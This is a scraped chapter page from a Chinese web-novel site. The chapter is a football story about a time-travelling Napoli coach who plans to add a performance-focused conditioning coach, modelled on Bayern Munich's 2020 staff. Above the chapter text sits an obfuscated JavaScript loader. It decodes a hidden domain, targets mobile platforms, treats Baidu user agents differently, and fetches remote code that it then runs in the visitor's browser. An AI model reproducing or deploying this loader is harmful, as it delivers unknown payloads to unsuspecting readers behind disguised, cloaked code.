妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

301 全胜夺欧冠的秘密(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

(高深想要干的是一件非常大胆的事情,可以说,在意大利,乃至欧洲顶级联赛,都还没有人干过,甚至可能连想都没有想过的事情。

那就是颠覆现在的体能训练系统。

这是他最近一段时间以来,结合球队的情况,综合各方面得到的资讯,尤其是十一月份,受邀参加了欧洲一项运动科学研讨会后,见识了很多业内大咖,听到了很多奇思妙想,他就产生了一些全新的想法。

本赛季的那不勒斯遇到了很多问题,首当其冲就是国家队的比赛。

国脚和国青队球员越来越多,导致那不勒斯现在的训练计划被切成了一截一截的片段。

两周的国家队比赛,已经严重影响到了球队的训练。

这不是那不勒斯一家的问题,是所有欧洲球队,过去、现在和未来都会遇到的问题。

那他们是怎么解决的呢?

那就是碎片化、精细化、针对性。

到了二零二一年,体能训练其实已经不能再叫做体能训练了,而应该叫做运动表现。

这不仅仅只是名称上的区别,而是一种理念上的转变。

也就是说,训练不再执着于体能,而是着重强调球员在比赛中的表现。

就像是刚才卢卡斯和布埃纳文图拉所说的,高深对他们提出的要求:让那不勒斯的球员在运动方面表现得比对手更出色。

这看起来好像不难,其实它要比过去传统的体能训练牵涉到更多的范畴。

要求教练不仅要精通各种体能训练,还要懂得专项训练,运动科学、康复理疗、技战术训练、心理学和营养学……所有的这些都要懂,甚至还要能够跟分析师坐下来,一起研究球员和对手的情况,给每一名球员制定精细化的微调。

这绝对是一个庞大的体系,更是一种全新的理念。

那这种理念是从什么时候开始的呢?

具体是谁提出的,高深就不清楚了,但他是从瓜迪奥拉执教拜仁的时候开始听说的。

有句话说得好:英国人玩长传冲吊,西班牙人玩技术,意大利人玩战术,德国人玩科学。

当时肯定有很多人在同时朝着这个方向去研究,但瓜迪奥拉决心在拜仁慕尼黑进行尝试。

在瓜迪奥拉执教拜仁慕尼黑的那个夏季,拜仁聘请了一名年仅二十八岁的意大利年轻人,西蒙·马丁内罗,这是他的第一份工作,运动教练。

他是布埃纳文图拉的助手。

从执教拜仁开始,瓜迪奥拉跟拜仁神医沃尔法特之间就存在着巨大的矛盾,因为两人的工作方式存在着巨大的理念分歧,而瓜迪奥拉又是出了名的控制狂魔。

于是,在瓜迪奥拉执教一年后,拜仁从勒沃库森挖来了另外一个人,霍尔格·布罗伊希。

关于布罗伊希的职务,当时在国内有很多不同的翻译,有的媒体说他是理疗师,有的说他是诊疗师,有的说他是体能教练,也有人干脆说他是按摩师。

反正不一而足。

拜仁签下布罗伊希的目的,就是希望缓解瓜迪奥拉和沃尔法特之间的矛盾。

后来,各种各样的原因导致矛盾愈演愈烈,瓜迪奥拉在拜仁的成绩虽说相当不错,但也没有达到所有人对他所期待的那种巅峰。

但他的这一套想法和理念,被拜仁慕尼黑继承下来,并继续深挖和完善。

二零二零年,拜仁慕尼黑以全胜战绩拿下了欧冠冠军。

这是欧冠改制以来,唯一一支全胜夺冠的球队。

弗里克的球队给所有人留下了无比深刻的印象,那就是拜仁太特么能跑了!

没有重大伤病,高强度的跑动,直接就从开场跑到结束,队内几乎每一名球员都是跑不死的铁人,场均比对手多跑出一个人来。

怎么做到的?

在弗里克的教练团队里,有两个人。

负责把控大方向,负责力量、爆发力、耐力和速度等基础身体训练,让球员始终保持在最佳竞技状态的体能教练,FitnessCoach,他的名字叫西蒙·马丁内罗。

负责精细化微调每一名球员的针对性训练,结合运动科学,跟分析师一起研究每一名球员,以及球员下一场比赛的对手,让自己的球员表现得比对手更加生猛的体适能教练,ConditioningCoach,他的名字叫霍尔格·布罗伊希。

除此之外,拜仁教练组背后还有强大的分析团队做支撑。

这就是拜仁慕尼黑全胜夺欧冠的秘密!

……

作为穿越者,高深对那一个赛季的拜仁慕尼黑印象格外深刻。

而事实上,现在也已经有不少球队在尝试引进体适能教练这个全新的岗位,例如曼联的迈克·克莱格,但现在还处在一个摸索的阶段,远没达到成熟。

在瓜迪奥拉执教巴塞罗那的时候,一线队教练组最多曾经达到了三十多人,可谓是相当惊人,但后来俱乐部碍于预算,不停地裁员,这也让瓜迪奥拉跟主席罗塞尔出现了矛盾。

现在,其实已经有很多专业的体适能教练在职业足坛工作。

高深现在想要做的,就是为那不勒斯引进这样一个岗位,解决球队目前的困境。

真让布埃纳文图拉一个人全权负责一线队所有球员的体能,压力也确实大了,也满足不了高深和那不勒斯现在的需求了。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间